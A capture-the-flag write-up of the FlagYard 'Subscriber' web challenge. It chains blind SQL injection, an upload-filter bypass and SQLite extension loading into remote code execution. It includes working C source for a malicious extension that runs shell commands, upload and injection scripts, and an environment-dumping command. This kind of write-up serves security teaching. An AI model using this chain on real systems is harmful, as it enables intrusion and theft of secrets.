m7eesn blog

Subscriber – [Web] (Hard) - FlagYard

Special thanks to #!SudoSqu!!d for the SQLite extension loading tip!

1. Challenge Overview

Challenge Description

Join the l33ts and subscribe to our innocent shop.

Subscriber is a web challenge from FlagYard featuring a Flask application with a deceptive vulnerability chain. The application offers email subscription and feedback submission functionality. At first glance, input validation and security controls appear to be in place, but multiple weaknesses combine to allow Remote Code Execution (RCE).

Challenge Details:

Key Findings

The vulnerability chain exploits:

  1. Blind Boolean SQL Injection in the subscription endpoint
  2. File Upload Bypass through extension filtering logic
  3. SQLite Extension Loading for achieving RCE
  4. Custom SQL Functions for command execution

2. Challenge Architecture

The Flask application exposes three main endpoints:

The backend uses SQLite as its database with conn.enable_load_extension(True) explicitly enabled, a critical security oversight.


3. Reconnaissance

Database Enumeration

Using blind boolean SQL injection on the updates_freq parameter, we identified:

Database Schema Discovery

Tables found:

  1. feedback table , Stores feedback submissions

    +----+-------+----------+-------------+
    | id | title | filename | description |
    +----+-------+----------+-------------+
    
  2. subscribers table , Email subscriber records

    +----+-------+------------------+
    | id | email | update_frequency |
    +----+-------+------------------+
    
  3. updates_freq table , Valid frequency options (reference data)

    +----+----------+--------+
    | id | freq     | option |
    +----+----------+--------+
    | 1  | Daily    | 0      |
    | 2  | Weekly   | 1      |
    | 3  | Monthly  | 2      |
    | 4  | 3-Months | 3      |
    | 5  | 6-Months | 4      |
    | 6  | 9-Months | 5      |
    | 7  | Yearly   | 6      |
    +----+----------+--------+
    

4. Source Code Analysis

The source code (was exfiltrated after owning the challenge) reveals multiple critical vulnerabilities in app.py:

Vulnerability #1: SQL Injection in /subscribe Endpoint

Location: app.py, line 105

@app.route('/subscribe', methods=['GET', 'POST'])
def subscribe():
    if request.method == 'POST':
        try:
            email = request.form['email']
            update_option = request.form['updates_freq']
            conn = sqlite3.connect('site.db')
            # !! Extensions enabled!
            conn.enable_load_extension(True) 
            cursor = conn.cursor()
            # !! String interpolation without sanitization
            cursor.execute(f"SELECT freq FROM updates_freq WHERE option = '{update_option}'")
            update_frequency = cursor.fetchone()
            conn.commit()
            conn.close()
            if update_frequency is None:
                result = {'message': 'Invalid update frequency option.', 'status': 'warning'}
            else:
                result = {'message': 'You have successfully subscribed!', 'status': 'success'}
            return jsonify(result), 200

Critical Issues:

  1. Line 103: conn.enable_load_extension(True) explicitly enables SQLite extension loading, the foundation of the RCE exploit
  2. Line 105: Direct f-string interpolation creates a blind boolean SQL injection vulnerability
  3. Design Flaw: The code never actually inserts records into the subscribers table, it only validates the frequency option

Vulnerability #2: File Upload Bypass in /feedback Endpoint

Location: app.py, lines 125-157

@app.route('/feedback', methods=['GET', 'POST'])
def feedback():
    if request.method == 'POST':
        try:
            title = request.form['title']
            description = request.form['description']
            file = request.files['file']
            filename = None
            if file:
                filename = file.filename
                # !! File saved BEFORE validation!
                file.save(os.path.join(app.config['UPLOAD_FOLDER'],
                         filename.replace('/', '').replace('..','')))
                filtered_filename = filter_filename(filename)
                mime_type = get_mime(file)

                if not filtered_filename:
                    # File already on disk at this point!
                    os.remove(os.path.join(app.config['UPLOAD_FOLDER'],
                             filename.replace('/', '').replace('..','')))
                    return jsonify({'message': 'File type not allowed...'}), 400
                else:
                    return jsonify({'message': 'File Uploaded successfully'}), 200

Extension Filtering Logic (Lines 59-66):

def filter_filename(filename):
    file_ext = os.path.splitext(filename)[1].lower()
    # !! Removes dots but preserves original extension
    filename = filename.replace('.', '').replace('\\', '').replace('/','')
    filename += file_ext
    if is_allowed_file(file_ext):
        return filename
    else:
        return False

def is_allowed_file(file_ext):
    allowed_extensions = {'.jpeg', '.jpg', '.png', '.pdf'}
    return file_ext in allowed_extensions

Extension Bypass Technique: The filter only checks the file extension (.jpg, .png, etc.), not the actual file contents:

5. Vulnerability Deep Dive

Blind Boolean SQL Injection

The /subscribe endpoint accepts a POST request with email and updates_freq parameters. The updates_freq value is directly interpolated into a SQL query:

cursor.execute(f"SELECT freq FROM updates_freq WHERE option = '{update_option}'")

Attack Vector:

payload = "0' AND <condition> -- -"
data = {'email': '[email protected]', 'updates_freq': payload}

This becomes:

SELECT freq FROM updates_freq WHERE option = '0' AND <condition> -- -'

The -- comment syntax removes the trailing quote, allowing us to inject boolean conditions. Response times or other side channels can confirm true/false results for blind exploitation.

SQLite Extension Loading Mechanism

SQLite supports loading shared libraries that contain custom SQL functions. This is enabled when an application calls:

sqlite3_enable_load_extension(db, 1);

Python’s sqlite3 module exposes this via:

conn.enable_load_extension(True)
cursor.execute("SELECT load_extension('./path/to/extension.so')")

When a .so (shared object) is loaded, the SQLite library calls its initialization function (sqlite3_extension_init), which can register new SQL functions with arbitrary code execution.


6. Exploitation Strategy

The complete RCE exploit proceeds in three phases:

  1. Create a malicious SQLite extension (C code compiled to .so)
  2. Upload the extension via the /feedback endpoint (disguised as .jpg)
  3. Use SQL injection in /subscribe to load and initialize the extension
  4. Invoke the custom SQL function to execute arbitrary system commands
  5. Extract the flag from the command output

7. Building the Malicious SQLite Extension

File: shell_extension.c

The SQLite extension defines a custom SQL function called execute() that runs arbitrary system commands:

#include <sqlite3.h>
#include <sqlite3ext.h>
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>

SQLITE_EXTENSION_INIT1

// Custom SQL function: execute(command_string)
static void executeCommand(sqlite3_context *context, int argc, sqlite3_value **argv) {
    if (argc != 1) {
        sqlite3_result_error(context, "Invalid number of arguments", -1);
        return;
    }

    const unsigned char *cmd = sqlite3_value_text(argv[0]);
    if (!cmd) {
        sqlite3_result_error(context, "Null command received", -1);
        return;
    }

    // Execute the system command
    int ret = system((const char *)cmd);
    if (ret != 0) {
        char errorMessage[256];
        snprintf(errorMessage, sizeof(errorMessage), "Command execution failed with return code: %d", ret);
        sqlite3_result_error(context, errorMessage, -1);
    } else {
        sqlite3_result_text(context, "Command executed successfully", -1, SQLITE_TRANSIENT);
    }
}

// Extension initialization
int sqlite3_extension_init(sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi) {
    SQLITE_EXTENSION_INIT2(pApi);

    // Register the execute() function
    int rc = sqlite3_create_function(db, "execute", 1, SQLITE_UTF8 | SQLITE_INNOCUOUS, NULL, executeCommand, NULL, NULL);

    if (rc != SQLITE_OK) {
        *pzErrMsg = sqlite3_mprintf("Failed to register 'execute' function: %d", rc);
        return rc;
    }

    return SQLITE_OK;
}

Compilation:

gcc -shared -fPIC -o shell.so shell_extension.c -lsqlite3

Result: A shared library that registers the custom execute(command) SQL function accessible via SQL queries.


8. Exploitation Workflow

Phase 1: Upload the Malicious Extension

The compiled .so file is uploaded to the server via the /feedback endpoint with the filename shell.jpg:

#!/usr/bin/env python3
import requests

base_url = "http://your_url.playat.flagyard.com"
upload_filename = "shell.jpg"  # Extension bypass: upload .so as .jpg

# Read the compiled shared object
with open('shell.so', 'rb') as f:
    so_content = f.read()

# POST to /feedback endpoint
response = requests.post(f"{base_url}/feedback", data={
    'title': 'System Extension',
    'description': 'SQLite extension for analytics'
}, files={
    'file': (upload_filename, so_content, 'application/octet-stream')
}, timeout=10)

print(f"[+] Upload status: {response.status_code}")
print(f"[+] Response: {response.text}")
print(f"[+] Extension saved as: ./uploads/{upload_filename}")

The file is saved to ./uploads/shell.jpg with binary .so contents.

Phase 2: Load the Extension via SQL Injection

Now we use the SQL injection vulnerability in /subscribe to load the extension:

#!/usr/bin/env python3
import requests

base_url = "http://your_url.playat.flagyard.com"
upload_path = "./uploads/shell.jpg"

# SQL injection payload to load the extension

response = requests.post( f"{base_url}/subscribe", data={
    'email': '[email protected]',
    'updates_freq': f"0' AND load_extension('{upload_path}') -- -"
}, timeout=10)

print(f"[+] Load extension status: {response.status_code}")
print(f"[+] Response: {response.text}")

This crafts a SQL query:

SELECT freq FROM updates_freq WHERE option = '0' AND load_extension('./uploads/shell.jpg') -- -'

When executed, SQLite:

  1. Loads the shared object at ./uploads/shell.jpg
  2. Calls sqlite3_extension_init()
  3. Registers the execute() SQL function

Phase 3: Execute Commands

With the extension loaded, we invoke commands via SQL injection. Since it’s blind injection, we redirect output to a file accessible from the web:

#!/usr/bin/env python3
import requests

base_url = "http://your_url.playat.flagyard.com"

# Command to execute (with output redirection)
command = "env > ./uploads/out.txt"

# Craft the injection payload
response = requests.post( f"{base_url}/subscribe", data={
    'email': '[email protected]',
    'updates_freq': f"0' AND execute('{command}') -- -"
}, timeout=10 )

print(f"[+] Command execution status: {response.status_code}")

# Retrieve the output
output_response = requests.get(f"{base_url}/uploads/out.txt", timeout=10)
if output_response.status_code == 200:
    print(f"[+] Command output:")
    print(output_response.text)

Commands to try:



10. Summary

This challenge demonstrates multi-stage attack chain combining three distinct vulnerability classes:

  1. Blind Boolean SQL Injection Allows calling arbitrary SQL functions
  2. File Upload Extension Bypass Enables uploading malicious code with benign filenames
  3. SQLite RCE via Extension Loading Custom extensions can execute arbitrary system commands

The critical vulnerability is the explicit conn.enable_load_extension(True) in the application’s database initialization. Combined with:

…the application becomes vulnerable to complete Remote Code Execution.


12. References